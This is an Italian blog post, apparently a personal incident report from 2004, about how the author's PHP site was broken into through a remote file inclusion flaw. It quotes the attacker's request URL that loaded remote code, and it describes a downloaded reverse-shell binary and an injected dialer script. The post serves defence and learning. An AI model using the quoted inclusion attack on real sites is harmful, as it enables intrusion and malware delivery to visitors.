…after compromise

Il 10 marzo la macchina che ospita questo sito è stata violata: ecco come…

Scoprirlo non era un compito tanto arduo da richiedere l’intervento del detective di Baker Street.
Lo zio Yurix direbbe: “elementare Giannozzon”. Basta guardare i file di log, e guardarli bene.

Alle ore 15:51:20 CET del 9 marzo 2004 uno script Python (o identificatosi come tale) probabilmente eseguito in automatico, effettuava una strana richiesta alla pagina display.php di questo sito per verificare presumibilmente la vulnerabilità della pagina a un certo tipo di attacco.
La richiesta veniva effettuata dall’host aspiron.ee, apparentemente estone, ma di fatto corrispondente ad un indirizzo IP appartenente alla rete di un provider texano, di Houston, e precisamente Everyones Internet, Inc..
Chiunque avesse lanciato lo script non si è fatto aspettare: il giorno dopo, 10 marzo 2004, a partire dalle 09:38:58 CET e fino alle 09:47:10 CET qualcuno ha effettuato varie richieste simili alla pagina vulnerabile con il preciso scopo di violare la sicurezza di cicciobaiano. Questa volta si è collegato da un diverso host, ma sempre dello stesso provider texano (di merda).

La pagina display.php includeva (come si usa fare comunemente in php) file esterni, il cui percorso veniva passato, per comodità e grazie a un colpo di genio del sottoscritto degno di Forrest Gump, come parametro in querystring. Avevo previsto, per sicurezza, di limitare l’uso di file php da includere ad una certa cartella del filesystem, ma non avevo previsto che potessero essere inclusi anche file esterni scaricati dalla pagina tramite http.
La chiamata della pagina vulnerabile da parte del cracker appare in questo modo:

http://manetti.homelinux.com/~maurizio/display.php?module=http://madcru.tripod.com/2

Questo ha consentito al presunto cracker texano di far eseguire all’interno della mia pagina il codice PHP reperibile all’indirizzo http://madcru.tripod.com/2.php ospitato sui server di Tripod, celebre sito di hosting gratuito (adesso rimosso dai gestori di Tripod per ovvi motivi).
In questa piccola ma efficace pagina era presente il codice sufficiente a presentare una form (all’interno del mio sito) attraverso la quale potevano essere eseguiti comandi di shell arbitrari. Ovviamente tali comandi venivano eseguiti con i permessi dell’utente non privilegiato www-data. Ma ciò è stato sufficiente.
Il cracker ha effettuato tre soli comandi, e gli sono bastati.
Con il primo ha scaricato via http, tramite wget, un file reperibile su un sito britannico compromesso, probabilmente dallo stesso cracker, di cui ho provveduto ad avvertire i gestori. Tale file è stato scaricato con il nome di a.out in /tmp. Si tratta di un ELF binary.
La seconda chiamata della pagina è probabilmente servita al cracker texano per eseguire il programma scaricato.
Con la terza sembra aver riavviato il web server Apache.
Ma ovviamente ad ogni chiamata potrebbero essere stati eseguiti più comandi. I contenuti delle richieste di tipo POST purtroppo non vengono loggati.

Che cosa fa il programmino a.out di appena 17KB?
Ci tornerò tra un attimo.

Il programma malevolo è stato scaricato alle 09:39:20 CET del 10 marzo 2004.
Alle 09:42:55 CET è stata cambiata la password dell’utente di sistema mysql.
Non ho idea del perché. Non sono stati cambiati dati sul database mysql.
Però sembra sia stata modificata la libreria mysql.so, utilizzata dal php per interfacciarsi al database.
Altro danno, non visibile dai log, è stato la modifica del file di configurazione /etc/php4/apache/php.ini, con modifica degli attributi, tramite chattr, per rendere immutabile il file.

La conseguenza di questa serie di cosine simpatiche è stata di fatto quella di far comparire un codice HTML sulle pagine di questo sito, codice volto a far scaricare un dialer per pornografia ai visitatori del sito muniti di Microsoft Internet Explorer. Tale codice è rimasto attivo almeno fino a mezzanotte, quando sono riuscito a reinstallare da zero il PHP, senza però averci capito molto.

Com’è riuscito a fare tutto ciò il bastardo cracker texano?
In primo luogo grazie all’arguzia del sottoscritto che ha messo a disposizione del mondo una pagina per l’esecuzione di comandi di bash su cicciobaiano. In secondo luogo tramite il programmino scaricato e lanciato dall’utente www-data.

Ecco cosa mi succedeva lanciando un semplice ls -l

<1>Unable to handle kernel NULL pointer dereference at virtual address
					00000000
printing eip:
00000000
*pde = 00000000
Oops: 0000
CPU:    0
EIP:    0010:[<00000000>]    Tainted: P
EFLAGS: 00010293
eax: 00000109   ebx: c78a2000   ecx: bfffdc20   edx: 00000018
esi: 00000016   edi: ffffffff   ebp: bfffdbf8   esp: c78a3fc0
ds: 0018   es: 0018   ss: 0018
Process ls (pid: 32274, stackpage=c78a3000)
Stack: c0106f47 00000000 bfffdc20 40023214 00000016 ffffffff bfffdbf8
					00000109
        0000002b 0000002b 00000109 40020e46 00000023 00000256 bfffdbdc
					0000002b
Call Trace:    [system_call+51/56]

Code:  Bad EIP value.

Il kernel non stava bene, soffriva le pene, ma più il problema non si pone.

Il programmino malevolo deve essere lanciato con due parametri che sono l’indirizzo IP e la porta di un host esterno col quale tenta di stabilire una connessione.
Se l’host remoto è in ascolto su quella porta del TCP il programma stabilisce una connessione e presenta all’altro capo della connessione il seguente output (ho provato usando netcat)

Fuck you so
sh-2.05b$

Dove sh-2.05b$ è il prompt di una shell. Però su questa shell si continua a essere loggati come l’utente che ha eseguito il programma dall’altro lato della connessione, quindi non so poi come abbia fatto a fare tutto il resto. Cioè, una volta avuto accesso ad una shell vera e propria, è riuscito a sfruttare qualche altra vulnerabilità del sistema per ottenere privilegi di root, ma non so quale.

Le contromisure per ora adottate sono state:

1. formattazione e reinstallazione del sistema
2. passaggio a Debian stable
3. aggiornamento del kernel all’ultima versione
4. correzione alla pagina php vulnerabile e controllo di simili vulnerabilità in altre pagine
5. installazione di strumenti di intrusion detection quali AIDE e Tiger
6. mounting leggermente più attento delle partizioni
7. mail di segnalazione abuse al provider texano

Comunque l’hardening del sistema è appena cominciato

Questo articolo è stato inserito Giovedì 25 Marzo 2004 @ 18:40 ed è archiviato in OB » Cazzeggi Infomatici. Puoi seguire i commenti a questo articolo attraverso il feed RSS 2.0. Commenti e trackback non sono consentiti.